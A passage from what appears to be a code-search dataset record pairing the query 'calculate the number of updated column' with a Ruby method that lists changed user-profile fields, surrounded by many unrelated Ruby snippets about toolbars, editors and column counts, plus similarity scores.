space.set_expand(true)\n toolbar.insert((c+=1), space)\n\n toolbar.insert((c+=1), Gtk::ToolItem.new.add(@prog))\n\n toolbar\n end", "def controll_toolbar(position)\n #return nil if n_state(:post).post_nodes.data.length < 1\n t(:div, {className: 'controll-toolbar'},\n if !(nodes[position].try(:node_type) == 'PostText') && !(position == -1 && nodes[position].try(:node_type) == \"PostText\")\n t(:button, {onClick: ->{put_text_node_at(position)}, className: 'btn btn-sm btn-default' }, 'add text')\n end,\n t(:button, {onClick: ->{init_image_insertion(position)}, className: 'btn btn-sm btn-default' }, 'add image'),\n t(:button, {onClick: ->{init_gif_insertion(position)}, className: 'btn btn-sm btn-default' }, 'add gif'),\n t(:button, { onClick: ->{ init_video_embed(position) }, className: 'btn btn-sm btn-default' }, 'embed video'),\n t(:button, { onClick: ->{ init_vote_poll_insertion(position) }, className: 'btn btn-sm btn-default' }, 'add voting'),\n t(:button, { onClick: ->{ init_post_test_insertion(position) }, className: 'btn btn-sm btn-default' }, 'add test'),\n t(:button, { onClick: ->{ init_personality_test_insertion(position) }, className: 'btn btn-sm btn-default'}, 'add personality test'),\n t(:button, { onClick: ->{ init_media_story_insertion(position) }, className: 'btn btn-sm btn-default' }, 'add media story')\n )\n end", "def inject_cms_toolbar\n response.body = %(\n <html>\n <head>\n </head>\n <body style=\"margin: 0\">\n #{cms_toolbar_with_iframe_html}\n </body>\n </html>\n )\n end", "def default_bbar\n [\n :add.action, :edit.action, :apply.action, :del.action,\n \"-\", # Adds a separator\n {\n :menu => [:add_in_form.action, :edit_in_form.action],\n :text => I18n.t(:edit_in_form),\n :icon => \"/images/icons/application_form.png\"\n },\n \"-\", # Adds a separator\n :row_counter.action\n ]\n end", "def controll_toolbar(position)\n nodes = n_state(:post).post_nodes\n #return nil if n_state(:post).post_nodes.data.length < 1\n t(:div, {className: 'controll-toolbar'},\n if !(nodes[position].try(:node_type) == 'PostText') && !(position == -1 && nodes[position].try(:node_type) == \"PostText\")\n t(:button, {onClick: ->{init_post_text_addition(position)}, className: 'btn btn-sm btn-default' }, 'add text')\n end,\n t(:button, {onClick: ->{init_image_insertion(position)}, className: 'btn btn-sm btn-default' }, 'add image'),\n t(:button, {onClick: ->{init_gif_insertion(position)}, className: 'btn btn-sm btn-default' }, 'add gif'),\n t(:button, { onClick: ->{ init_video_embed(position) }, className: 'btn btn-sm btn-default' }, 'embed video'),\n t(:button, { onClick: ->{ init_vote_poll_insertion(position) }, className: 'btn btn-sm btn-default' }, 'add voting'),\n t(:button, { onClick: ->{ init_post_test_insertion(position) }, className: 'btn btn-sm btn-default' }, 'add test'),\n t(:button, { onClick: ->{ init_personality_test_insertion(position) }, className: 'btn btn-sm btn-default'}, 'add personality test'),\n t(:button, { onClick: ->{ init_media_story_insertion(position) }, className: 'btn btn-sm btn-default' }, 'add media story')\n )\n end", "def default_bbar\n [\n :show_details.action, # The custom action defined below via JS\n :search.action,\n \"-\", # Adds a separator\n :del.action,\n \"-\",\n {\n :menu => [:add_in_form.action, :edit_in_form.action],\n :text => I18n.t(:edit_in_form),\n :icon => \"/images/icons/application_form.png\"\n },\n \"-\",\n :row_counter.action\n ]\n end", "def default_bbar\n [\n :add.action, :edit.action, :apply.action, :del.action,\n \"-\", # Adds a separator\n :search.action,\n \"-\", # Adds a separator\n {\n :menu => [:add_in_form.action, :edit_in_form.action],\n :text => I18n.t(:edit_in_form),\n :icon => \"/images/icons/application_form.png\"\n },\n \"-\", # Adds a separator\n :row_counter.action\n ]\n end", "def configure(c)\n super\n c.border = false\n c.items = [{\n :region => :north,\n :height => 35,\n :html => %Q{\n <div style=\"margin:10px; color:#333; text-align:center; font-family: Helvetica;\">\n Simple <span style=\"color:#B32D15\">Netzke</span> app\n </div>\n },\n # TODO: this has no effect anymore:\n # :bodyStyle => {:background => \"#AAA url(\\\"/images/header-deco.gif\\\") top left repeat-x\"}\n },{\n :region => :center,\n :layout => 'border',\n :items => config.items\n }]\n end", "def toolbars_visible?\n (@toolbars['history_tb'] || @toolbars['center_tb'] || @toolbars['view_tb']) &&\n (@toolbars['history_tb'] != 'blank_view_tb' && @toolbars['history_tb'] != 'blank_view_tb' && @toolbars['view_tb'] != 'blank_view_tb')\n end", "def hideToolBars()\n @ie.AddressBar = true\n @ie.StatusBar = true\n @ie.ToolBar= false\n @ie.MenuBar = false\n end", "def default_bbar\n [:add, :edit, :apply, :del]\n end", "def header_editor_enabled=(_arg0); end", "def setHideToolbar(value)\n @fields['hide_toolbar'] = value\n self\n end", "def setHideToolbar(value)\n @fields['hide_toolbar'] = value\n self\n end", "def setHideToolbar(value)\n @fields['hide_toolbar'] = value\n self\n end", "def assign_highlighter_options!; end", "def click_toolbar_button name\n wait\n Button.new(name, \"#{@locator}/ancestor::div[div[@class='toolbar']]/div[@class='toolbar']\").click\n end", "def click_toolbar_button name\n wait\n Button.new(name, \"#{@locator}/ancestor::div[div[@class='toolbar']]/div[@class='toolbar']\").click\n end", "def load_js\n AssetManager.include_contrib_library [:core_ui, :jquery_tab]\n AssetManager.include_local_library [ 'ckeditor/init']\n\n AssetManager.include_css [:blog_global]\n end", "def activate\n Admin::ConfigurationsController.class_eval do\n before_filter :add_faq_links, :only => :index\n def add_faq_links\n @extension_links << {:link => admin_question_categories_path, \n :link_text => \"Frequently Asked Questions\", \n :description => \"Add,edit or remove FAQ categories and questions\"}\n end\n end\n end", "def default_bbar\n [ :apply, :add_in_form, :search ]\n end", "def default_bbar\n [ :apply, :add_in_form, :search ]\n end", "def default_bbar\n [ :apply, :add_in_form, :search ]\n end", "def add_editor\n add_author_editor \"editor\"\n end", "def toolbar_actions\n actions.reject {|action| action[:toolbar_item] == false || action[:visible] == false}\n end", "def toolbar_actions\n actions.reject {|action| action[:toolbar_item] == false || action[:visible] == false}\n end", "def default_bbar\n [ :apply, :add_in_form]\n end", "def mobile_toolbar(title, options={}, &block)\n raise \"Block needed\" unless block_given?\n concat build_toolbar(title, options, &block)\n end", "def initialize\n @commands = {\n edit: 'Write',\n preview: 'Preview'\n }\n @theme = {\n base: '/simple_form_epic_editor/default_theme/base.css',\n preview: '/simple_form_epic_editor/default_theme/preview.css',\n editor: '/simple_form_epic_editor/default_theme/editor.css'\n }\n end", "def editor_abilities\n super\n if admin?\n can :create, TinymceAsset\n can [:create, :update], ContentBlock\n end\n can :read, ContentBlock\n end", "def ckeditor_textarea(object, field, options = {})\n options.symbolize_keys!\n \n var = options.delete(:object) if options.key?(:object)\n var ||= @template.instance_variable_get(\"@#{object}\")\n \n if var\n value = var.send(field.to_sym)\n value = value.nil? ? \"\" : value\n else\n value = \"\"\n \n begin\n klass = \"#{object}\".camelcase.constantize\n @template.instance_variable_set(\"@#{object}\", eval(\"#{klass}.new()\"))\n rescue NameError\n end\n end\n id = ckeditor_element_id(object, field)\n \n textarea_options = { :id => id }\n \n textarea_options[:cols] = options[:cols].nil? ? 70 : options[:cols].to_i\n textarea_options[:rows] = options[:rows].nil? ? 20 : options[:rows].to_i\n\n width = options[:width].nil? ? '100%' : options[:width]\n height = options[:height].nil? ? '100%' : options[:height]\n \n textarea_options[:class] = options[:class] unless options[:class].nil?\n \n ckeditor_options = {}\n \n ckeditor_options[:toolbar] = options[:toolbar] unless options[:toolbar].nil?\n ckeditor_options[:skin] = options[:skin] unless options[:skin].nil?\n ckeditor_options[:language] = options[:language] unless options[:language].nil?\n ckeditor_options[:width] = options[:width] unless options[:width].nil?\n ckeditor_options[:height] = options[:height] unless options[:height].nil?\n \n ckeditor_options[:swf_params] = options[:swf_params] unless options[:swf_params].nil?\n \n ckeditor_options[:filebrowserBrowseUrl] = PLUGIN_FILE_MANAGER_URI\n ckeditor_options[:filebrowserUploadUrl] = PLUGIN_FILE_MANAGER_UPLOAD_URI\n \n ckeditor_options[:filebrowserImageBrowseUrl] = PLUGIN_FILE_MANAGER_IMAGE_URI\n ckeditor_options[:filebrowserImageUploadUrl] = PLUGIN_FILE_MANAGER_IMAGE_UPLOAD_URI\n \n output_buffer = ActionView::SafeBuffer.new\n \n if options[:ajax]\n textarea_options.update(:name => id)\n \n output_buffer << tag(:input, { \"type\" => \"hidden\", \"name\" => \"#{object}[#{field}]\", \"id\" => \"#{id}_hidden\"})\n output_buffer << ActionView::Base::InstanceTag.new(object, field, self, var).to_text_area_tag(textarea_options)\n else\n textarea_options.update(:style => \"width:#{width};height:#{height}\")\n \n output_buffer << ActionView::Base::InstanceTag.new(object, field, self, var).to_text_area_tag(textarea_options)\n end\n \n output_buffer << javascript_tag(\"CKEDITOR.replace('#{object}[#{field}]', { \n #{ckeditor_applay_options(ckeditor_options)}\n });\\n\")\n \n output_buffer\n end", "def toolbar_button(options = {})\n options.symbolize_keys!\n defaults = {\n :overlay => true,\n :skip_permission_check => false,\n :active => false,\n :link_options => {},\n :overlay_options => {},\n :loading_indicator => true\n }\n options = defaults.merge(options)\n button = content_tag('div', :class => 'button_with_label' + (options[:active] ? ' active' : '')) do\n link = if options[:overlay]\n link_to_overlay_window(\n render_icon(options[:icon]),\n options[:url],\n options[:overlay_options],\n {\n :class => 'icon_button',\n :title => options[:title],\n 'data-alchemy-hotkey' => options[:hotkey]\n }.merge(options[:link_options])\n )\n else\n link_to options[:url], {:class => (\"icon_button#{options[:loading_indicator] ? ' please_wait' : nil}\"), :title => options[:title], 'data-alchemy-hotkey' => options[:hotkey]}.merge(options[:link_options]) do\n render_icon(options[:icon])\n end\n end\n link += content_tag('label', options[:label])\n end\n if options[:skip_permission_check]\n return button\n else\n if options[:if_permitted_to].blank?\n action_controller = options[:url].gsub(/^\\//, '').split('/')\n options[:if_permitted_to] = [action_controller.last.to_sym, action_controller[0..action_controller.length-2].join('_').to_sym]\n end\n if permitted_to?(*options[:if_permitted_to])\n return button\n else\n return \"\"\n end\n end\n end", "def commands\n\t\t\t{\n\t\t\t\t\"edit\" => \"A handy editor commmand\"\n\t\t\t}\n\t\tend", "def default_bbar\n [\n :commit_rows.action,\n \"-\", # Adds a separator\n :row_counter.action\n ]\n end", "def image_toolbar(product)\n return if product.images.size <= 1\n\n content_tag :ul, class: 'toolbar' do\n product.images.map do |image|\n concat(content_tag(:li, image_tag(image.file.widget),\n class: 'image-thumb',\n data: { src: image.file.url }))\n end\n end\n end", "def initialize( tkCanvas, x0, y0, x1, y1, uonEditor)\n\t\tsuper( tkCanvas, x0, y0, x1, y1, :outline => 'black', :width => '2')\n init( tkCanvas, x0, y0, x1, y1, uonEditor, \"white\")\n\tend", "def create_file_config\n template \"config/smart_editor.yml\", \"config/smart_editor.yml\"\n end", "def configure(c)\n\n c.layout = :fit\n\n c.load_inline_data ||= true\n c.enable_edit_in_form ||= true\n c.enable_edit_inline = false\n c.enable_extended_search = false\n c.enable_column_filters = false\n c.enable_pagination ||= true\n\n super\n\n end", "def default_bbar\n bbar = [ :search ]\n bbar.concat [ :apply ] if can? :update, BikeModel\n bbar.concat [ :add_in_form ] if can? :create, BikeModel\n bbar\n end", "def render_bookmarks_control?\n false\n end", "def render_bookmarks_control?\n false\n end", "def default_profile_toolbar_menu(subject = current_subject)\n items = Array.new\n #Information button\n items << {:key => :subject_info,\n :name => image_tag(\"btn/btn_edit.png\")+t('menu.information'),\n :url => [subject, :profile]\n }\n\n if subject!=current_subject\n #Like button\n items << {:key => :like_button,\n :name => link_like_params(subject)[0],\n :url => link_like_params(subject)[1],\n :options => {:link => link_like_params(subject)[2]}}\n\n if user_signed_in?\n #Relation button\n items << {:key => :subject_relation,\n :name => image_tag(\"btn/btn_friend.png\") + current_subject.contact_to!(subject).status,\n :url => edit_contact_path(current_subject.contact_to!(subject))\n }\n #Send message button\n items << {:key => :send_message,\n :name => image_tag(\"btn/btn_send.png\")+t('message.send'),\n :url => new_message_path(:receiver => subject.slug)\n }\n end\n end\n #Documents if present\n if SocialStream.activity_forms.include? :document\n if subject == current_subject\n resources_label = t('resource.mine')\n else\n resources_label = t('resource.title')\n end\n items << {:key => :resources,\n :name => image_tag(\"btn/btn_resource.png\",:class =>\"menu_icon\")+resources_label,\n :url => \"#\",\n :options => {:link => {:id => \"resources_menu\"}},\n :items => [\n {:key => :resources_documents,:name => image_tag(\"btn/btn_document.png\")+t('document.title'),:url => polymorphic_path([subject, Document.new])},\n {:key => :resources_pictures,:name => image_tag(\"btn/btn_gallery.png\")+t('picture.title'),:url => polymorphic_path([subject, Picture.new])},\n {:key => :resources_videos,:name => image_tag(\"btn/btn_video.png\")+t('video.title'),:url => polymorphic_path([subject, Video.new])},\n {:key => :resources_audios,:name => image_tag(\"btn/btn_audio.png\")+t('audio.title'),:url => polymorphic_path([subject, Audio.new])}\n ]}\n end\n render_items items\n end", "def cop_config; end", "def cama_language_editor_on_active(plugin)\n end", "def type_ck_editor(id, text)\n execute_script(\"CKEDITOR.instances['#{id}'].insertText('#{text}');\")\n end", "def config\n options = @options.merge(:text => human_name)\n options.merge!(:menu => @menus.collect(&:config)) if @menus.size > 0\n options.merge!(:handler => \"function(){ Backend.app.load('#{url_for(@url.merge(:only_path => true))}') }\".to_l) if @url\n options\n end", "def set_commands\n super\n @commands['clear'] = ConsoleCommand_Clear.new(self)\n @commands['confirm'] = ConsoleCommand_Confirm.new(self)\n end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def config; end", "def setup_action_buttons\n content_for :action_buttons do\n render :partial => '/home/action_buttons'\n end\n end", "def setup_action_buttons\n content_for :action_buttons do\n render :partial => '/home/action_buttons'\n end\n end", "def default_bbar\n bbar = [ :search ]\n bbar.concat [ :apply ] if can? :update, BikeBrand\n bbar.concat [ :add_in_form ] if can? :create, BikeBrand\n bbar\n end", "def editor?\n true\n end", "def initialize\n @klass = TOOLBAR_EDITOR\n @description = nil\n # Wait for the page to be displayed with MAX_WAIT_ON_LOAD seconds timeout\n raise 'The page was not loaded' unless self.displayed?($janus::MAX_WAIT_ON_LOAD)\n end", "def setup!\n editor_execute!\n editor_delete_character!\n editor_delete_line!\n editor_down!\n editor_insert_character!\n editor_insert_line!\n editor_left!\n editor_right!\n editor_up!\n end", "def editor\n NanoEditor\n end", "def aboutButton\n \"* marked:'About'\"\n end", "def editor_name\n File.basename(pry_instance.config.editor).split(\" \").first\n end", "def activate\n # admin.tabs.add \"Ray\", \"/admin/ray\", :after => \"Layouts\", :visibility => [:admin]\n end", "def show_toolbar(token)\n @collection = Rack::WebProfiler::Model::CollectionRecord[token: token]\n return erb nil, status: 404 if @collection.nil?\n\n @collectors = Rack::WebProfiler.config.collectors.all\n # @todo process the callector views\n # @collectors = Rack::WebProfiler::Collector.render_tabs(@record)\n\n erb \"profiler.erb\"\n end", "def config\n\n end", "def build_toolbar_button(url_hash)\n url_hash[:empty_selection] ||= url_hash[:single]\n url_hash[:build_callback] ||= :selection unless url_hash[:empty_selection]\n classes = ['grid_toolbar_item', 'button', 'ui-state-default', 'ui-corner-all']\n s = <<-EOS\njQuery('<div class=\"#{(classes + Array(url_hash[:class])).compact.join(' ')}\" />')\n .text('#{escape_javascript(url_hash[:name])}')\n .button()\n .click(\n #{hash_to_callback(url_hash)}\n ).appendTo('#t_' + #{format_type_to_js(@table_id)});\nEOS\n end", "def show_ey_config_instructions\n each { |m| m.respond_to?(:show_ey_config_instructions) && m.show_ey_config_instructions }\n end", "def text_area_options\n { :cols => 30, :rows => 3 }\n end", "def configuration\n\n #page_loading = Netzke::Core.controller.instance_variable_get(:@page_loading)\n component_loading = Netzke::Core.controller.instance_variable_get(:@component_loading)\n reset_previous_page_session(component_loading)\n #return {} unless (page_loading.present? or component_loading.present?)\n sup = super\n\n debug_log \"**** PARAMS from Controller\"\n sup.merge(\n name: :app,\n padding: \"20px\",\n style: {\n border: \"5px solid #A4A6A9\",\n \"-o-border-radius\" => \"10px\",\n \"-ms-border-radius\" => \"10px\",\n \"-moz-border-radius\" => \"10px\",\n \"-webkit-border-radius\" => \"30px\",\n \"border-radius\" => \"8px\"\n },\n :items => [{\n :region => :north,\n :border => false,\n :height => 70,\n :items => [{\n xtype: 'panel',\n frame: false,\n header: false,\n height: 70,\n :layout => :hbox,\n border: 0,\n items: [\n {\n xtype: 'panel',\n flex: 0.8,\n frame: false,\n header: false,\n height: 70,\n border: 0,\n items: [\n {\n xtype: 'label',\n html: \"<img class='main_logo'/>\"\n }\n ]\n\n },\n {\n xtype: 'panel',\n flex: 1,\n frame: false,\n header: false,\n border: 0,\n layout: {\n type: 'vbox',\n align:'right'\n },\n items: [\n {\n xtype: 'panel',\n frame: false,\n header: false,\n border: 0,\n items: [\n {\n xtype: 'label',\n :html => \"<div id='test-lbl-text-align' width = 100%\n style=margin-bottom:4px;text-align:right;color:grey;>\n #{display_user_name} <span style='color:#2A81C9'>\n #{org_info}</span>&nbsp;&nbsp;&nbsp;\n <a style='color:grey;' href='/signout'>Logout</a></div>\"\n }\n ]\n },\n {\n xtype: 'panel',\n frame: false,\n header: false,\n border: 0,\n items: [\n {\n xtype: 'label',\n html: \"<div width = 100% > #{context_specific_display}</div>\"\n }\n ]\n }\n ]\n }\n ]}\n ]\n },\n {\n :region => :center,\n :layout => :border,\n :border => false,\n :items => [status_bar_config, {\n :region => :center,\n :layout => :border,\n :items => [main_panel_config(border: false)]\n }]\n }]\n )\n end", "def activate\n Page.send :include, ExtraRadiantTags\n Admin::PagesController.send :include, InterfaceAdditions\n \n # admin.page.edit.add :form, \"/admin/page/hide_page\", :before => \"edit_extended_metadata\"\n # admin.tabs.remove \"Assets\"\n # admin.tabs.add \"Bilder\", \"/admin/assets\", :after => \"Snippets\", :visibility => [:all]\n # admin.tabs.remove \"Pages\"\n # admin.tabs.add \"Seiten\", \"/admin/pages\", :before => \"Snippets\", :visibility => [:all]\n end", "def textile_editor_button(text, options={})\n return textile_editor_button_separator if text == :separator\n button = content_tag(:button, text, options)\n button = \"TextileEditor.buttons.push(\\\"%s\\\");\" % escape_javascript(button)\n (@textile_editor_buttons ||= []) << button\n end", "def show_toolbar(token)\n @collection = Rack::WebProfiler::Model::CollectionRecord[token: token]\n return erb nil, status: 404 if @collection.nil?\n\n @collectors = Rack::WebProfiler.config.collectors.all\n\n erb \"profiler.erb\"\n end", "def title; self.config['title']; end" ]
[ "0.71775883", "0.6951312", "0.6895092", "0.679198", "0.6313865", "0.6313865", "0.62365603", "0.6226606", "0.6161785", "0.61287934", "0.60430986", "0.57587034", "0.5718484", "0.5607573", "0.5573634", "0.55553687", "0.5534893", "0.5523974", "0.55203676", "0.5507239", "0.5502666", "0.5500015", "0.5377793", "0.52669847", "0.52279645", "0.5197953", "0.5188682", "0.51573664", "0.51573664", "0.51573664", "0.51555055", "0.5150433", "0.5150433", "0.51482934", "0.5138131", "0.5112847", "0.5112293", "0.5112293", "0.51029897", "0.50941586", "0.50941586", "0.5088532", "0.5081095", "0.50688386", "0.5013983", "0.4985796", "0.4961878", "0.49591467", "0.49209875", "0.48939916", "0.4881748", "0.48638108", "0.486328", "0.48559058", "0.48407865", "0.48407865", "0.4838205", "0.48269767", "0.48006937", "0.479679", "0.4776479", "0.4771257", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.4727431", "0.47146037", "0.47146037", "0.47143298", "0.47123384", "0.47102693", "0.4701552", "0.46772826", "0.46764955", "0.46598396", "0.46485278", "0.4647136", "0.4645986", "0.45917496", "0.45882434", "0.45819092", "0.45723334", "0.45723274", "0.4570406", "0.4562996", "0.45603597" ]
0.7525186
0
calculate the number of updated column
def calculate_updated_column(saved_user, inputed_user) result = '、'; unless saved_user.registrationNo.eql? inputed_user.registrationNo result = result + "登録No、" end unless saved_user.kanjiName.eql? inputed_user.kanjiName result = result + "名前(漢字)、" end unless saved_user.kanaName.eql? inputed_user.kanaName result = result + "名前(かな)、" end unless saved_user.dateOfBirth.eql? inputed_user.dateOfBirth result = result + "生年月日、" end unless saved_user.birthPlace.eql? inputed_user.birthPlace result = result + "出身地、" end unless saved_user.height.eql? inputed_user.height result = result + "身長、" end unless saved_user.weight.eql? inputed_user.weight result = result + "体重、" end unless saved_user.specialSkill.eql? inputed_user.specialSkill result = result + "特技、" end unless saved_user.hobby.eql? inputed_user.hobby result = result + "趣味、" end unless saved_user.charmPoint.eql? inputed_user.charmPoint result = result + "チャームポイント、" end unless saved_user.holidyTimeSpand.eql? inputed_user.holidyTimeSpand result = result + "休日の過ごし方、" end unless saved_user.appealPoint.eql? inputed_user.appealPoint result = result + "アピールポイント、" end unless saved_user.score.eql? inputed_user.score result = result + "採点 、" end if result.length >1 n = result.size result = result[0..n-2] end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def column_delta; end", "def processed_rows\n edited_rows_count + created_rows_count\n end", "def column_deltas; end", "def edited_rows_count\n @edited_rows_codes.count\n end", "def edited_rows_count\n @edited_rows_codes.count\n end", "def edited_rows_count\n @edited_rows_codes.count\n end", "def count_columns\n fields.size\n end", "def column_count\n @stmt_api.column_count\n end", "def column_count\r\n assert_exists\r\n arr_cells = cells\r\n return arr_cells.length\r\n end", "def status_column_count\n\t# update has three columns vs. up to eight for status as of 1.3.x\n\t# But, for status, if we assume eight, we might have compatibility\n\t# issues with earlier versions which had fewer columns (unless they\n\t# had more padding than I recall). The last three columns seem to be\n\t# network status-only, so this isn't a big deal for now.\n\t$is_status ? 5 : 3\nend", "def columnCount(parent)\n return 1\n end", "def column_size\n @delegate.getColSize\n end", "def column_count\r\n assert_exists\r\n arr_rows = rows\r\n return arr_rows[0].column_count\r\n end", "def size\n @record.send( :\"#{@column}_size\" ) rescue -1\n end", "def affected\n IBM_DB.num_rows(@stmt)\n end", "def columns_count\n @columns.size\n end", "def column_deltas=(_arg0); end", "def old_count\n model.find(id)[field]\n end", "def column_count\n visible_column_names().count\n end", "def count ; @count ||= table.count end", "def set_cell_count\n cell_count = self.all_cells_array.size\n Rails.logger.info \"Setting cell count in #{self.name} to #{cell_count}\"\n self.update(cell_count: cell_count)\n Rails.logger.info \"Cell count set for #{self.name}\"\n end", "def column_size; end", "def n_inserted\n written_count\n end", "def num_columns\n score_numbers.count\n end", "def column_count\n is_container? ? get_content_param_by_key( :model_count_in_row ) : 0\n end", "def _update_counts_after_update\n _wrap_in_counter_culture_active do\n self.class.after_commit_counter_cache.each do |hash|\n # figure out whether the applicable counter cache changed (this can happen\n # with dynamic column names)\n counter_cache_name_was = counter_cache_name_for(previous_model, hash[:counter_cache_name])\n counter_cache_name = counter_cache_name_for(self, hash[:counter_cache_name])\n\n if send(\"#{first_level_relation_foreign_key(hash[:relation])}_changed?\") ||\n (hash[:delta_column] && send(\"#{hash[:delta_column]}_changed?\")) ||\n counter_cache_name != counter_cache_name_was\n\n # increment the counter cache of the new value\n change_counter_cache(hash.merge(:increment => true, :counter_column => counter_cache_name))\n # decrement the counter cache of the old value\n change_counter_cache(hash.merge(:increment => false, :was => true, :counter_column => counter_cache_name_was))\n end\n end\n end\n end", "def modifications_amount_by_commit\n end", "def copy_count\n is_standard? ? (respond_to?(:copy_count_col) ? copy_count_col : copies.count) : 0\n end", "def columns_count\n @values.empty? ? 0 : @values.first.count\n end", "def freq_change_column(column_changes)\n once = twice = more = 0\n column_changes.each do |_tab, val|\n val.each do |_col, count|\n if count > 2\n more += 1\n elsif count == 2\n twice += 1\n else\n once += 1\n end\n # puts \"#{count} #{_tab}.#{_col}\"\n end\n end\n [once, twice, more]\nend", "def row_count\n @rows.length;\n end", "def modified_count\n @results[MODIFIED_COUNT]\n end", "def size\n return 0 if columns.empty?\n\n columns.first.size\n end", "def num_fields\n IBM_DB.num_fields(@stmt)\n end", "def column_changed?\n model.send(:\"#{column}_changed?\")\n end", "def infections_count_changes(scan)\n rows = scan.get_scans_for_last(30.days)\n last_count = nil\n rows.collect do |row|\n diff = row.infections_count - last_count rescue 0;\n last_count = row.infections_count;\n [row.complete.to_i * 1000, diff]\n end\nend", "def length\n columns.length\n end", "def update_counts_and_value!\n entries = inventory_entries.reload\n total_on_hand = entries.sum(:on_hand)\n total_reserved = entries.sum(:reserved)\n total_pending = entries.sum(:pending)\n weighted_total_cents = entries.map { |e| e.on_hand * e.value_cents }.sum\n\n update_columns(\n on_hand: total_on_hand,\n reserved: total_reserved,\n pending: total_pending,\n value_cents: total_on_hand == 0 ? nil : weighted_total_cents / total_on_hand\n )\n end", "def column\n old_pos - start_of_current_line_pos\n end", "def column\n old_pos - start_of_current_line_pos\n end", "def column_size\n first_row = @rows[0]\n if first_row._equal?(nil)\n return 0\n end\n first_row.size\n end", "def num_cols()\n return self[0].length\n end", "def row_count\n row_index.length - 1\n end", "def count\n @rows.count\n end", "def column_changed?(column)\n initial_values.has_key?(column)\n end", "def update_counter(text)\n number_of_newlines = text.count(\"\\n\")\n\n if number_of_newlines > 0\n @line += text.count(\"\\n\")\n @column = text.length - text.rindex(\"\\n\")\n else\n @column += text.length\n end\n end", "def last_update_length=(_arg0); end", "def dml(cmd)\n job?(cmd) ? 0 : job.num_dml_affected_rows\n end", "def ncols\n @colnames.length\n end", "def update_friends_count\n # friendshipped\n if self.friendshipped && self.friendshipped.class.columns.to_a.map {|a| a.name.to_sym}.include?(:friends_count)\n self.friendshipped.class.transaction do \n self.friendshipped.lock!\n self.friendshipped.update_attribute(:friends_count, self.friendshipped.friends_count)\n end\n end\n \n # befriendshipped\n if self.befriendshipped && self.befriendshipped.class.columns.to_a.map {|a| a.name.to_sym}.include?(:friends_count)\n self.befriendshipped.class.transaction do \n self.befriendshipped.lock!\n self.befriendshipped.update_attribute(:friends_count, self.befriendshipped.friends_count(true))\n end\n end\n \n end", "def length\n $tracer.trace(format_method(__method__))\n return @rows.length\n end", "def field_count\n @fields.size\n end", "def rows_count\n @values.count\n end", "def track_change(record, column_name, count)\n @changes_holder << {\n :entity => relation_class.name,\n relation_class.primary_key.to_sym => record.send(relation_class.primary_key),\n :what => column_name,\n :wrong => record.send(column_name),\n :right => count\n }\n end", "def tuple_count\n underlying_table.count\n end", "def affected_rows()\n #This is a stub, used for indexing\n end", "def internalRepItemCount\n return @delegate.rowCount\n end", "def count(column = nil)\n return super unless column && first && first.class.respond_to?(:descends_from_active_record?)\n column = column.to_sym unless column.is_a?(Symbol) \n inject( 0 ) { |sum, x| x[column].nil? ? sum : sum + 1 }\n end", "def row_size\n @rows.size\n end", "def row_count \r\n assert_exists\r\n return rows.length\r\n end", "def update_tier_members_count\n if self.tier && self.tier.class.columns.to_a.map {|a| a.name.to_sym}.include?(:members_count)\n self.tier.class.transaction do \n self.tier.lock!\n self.tier.update_attribute(:members_count,\n self.tier.members.count(\"people.id\", self.class.find_options_for_active_state({:distinct => true})))\n end\n end\n end", "def changes\n @database.affected_rows\n end", "def column_count\n @stkw_config[:max_col]\n end", "def number_of_rows_in_table( aTableView)\n @values.length\n end", "def num_rows()\n return self.length\n end", "def outdated_count\n outdated.count\n end", "def changeset_count\n\t\tchangesets_x_all.first[:objects].count\n\tend", "def increment_matrix_row_reference_count(mr)\n mr.update_columns(reference_count: (mr.reference_count || 0) + 1)\n mr.update_columns(cached_observation_matrix_row_item_id: id) if type =~ /Single/\n end", "def insert_count\n @rows.count - error_count\n end", "def size\n @db.get_first_value( \"SELECT COUNT(*) FROM #{TABLE_NAME};\" ).to_i\n end", "def number_of_nodes_edited_by_new_mappers\n \t\tnodes_by_new_mappers = Node_Query.new(analysis_window: aw, constraints: {'user' => {'$in' => aw.new_contributors}}).run\n {'Nodes Edited by New Mappers' => nodes_by_new_mappers.first[:objects].length }\n \tend", "def number_of_nodes_edited_by_new_mappers\n \t\tnodes_by_new_mappers = Node_Query.new(analysis_window: aw, constraints: {'user' => {'$in' => aw.new_contributors}}).run\n {'Nodes Edited by New Mappers' => nodes_by_new_mappers.first[:objects].length }\n \tend", "def update_followable_count\n if self.followable && self.followable.class.columns.to_a.map {|a| a.name.to_sym}.include?(:followers_count)\n self.followable.class.transaction do \n self.followable.lock!\n self.followable.update_attribute(:followers_count, self.followable.followers.count)\n end\n end\n end", "def increment_column!(attribute, by = 1)\n # \"foo\"\n increment(attribute, by).update_column(attribute, self[attribute])\n end", "def compute_child_mod_count\n target_child_count = case self.grid_type\n when FULL\n 1\n when HALVES, LEFT, RIGHT\n 2\n when THIRDS\n 3\n else\n 0\n end\n (target_child_count - self.columns.size)\n end", "def upserted_count\n @results[UPSERTED_COUNT]\n end", "def changed_columns\n @changed_columns ||= []\n end", "def changed_columns\n @changed_columns ||= []\n end", "def size_col(col) #:nodoc:\n # Look up the cell value to see if it has been changed\n unless @col_sizes[col].nil?\n width = @col_sizes[col]\n\n # The relationship is different for user units less than 1.\n if width < 1\n return (width *12).to_i\n else\n return (width *7 +5 ).to_i\n end\n else\n return 64\n end\n end", "def counter\n self.class.db_structure[@table_name][:counter]\n end", "def columns_incdec howmany\n @gviscols += howmany.to_i\n @gviscols = 1 if @gviscols < 1\n @gviscols = 6 if @gviscols > 6\n @pagesize = @grows * @gviscols\nend", "def published_copy_count\n # published_copy_count_col may be nil so be careful\n respond_to?(:published_copy_count_col) ? (published_copy_count_col || 0).to_i : copies.find_all(&:published?).size\n end", "def counted(column)\n @expected_options[:counter_cache] = column\n self\n end", "def count\n if @count\n @count - @deleted_entries.cardinality\n else\n determine_count\n end\n end", "def get_field_count\n\t\tend", "def changed_columns\n cc = super\n changed = []\n v = @values\n if vh = @values_hashes\n (vh.keys - cc).each{|c| changed << c unless v.has_key?(c) && vh[c] == v[c].hash}\n end\n cc + changed\n end", "def number_of_columns\n return 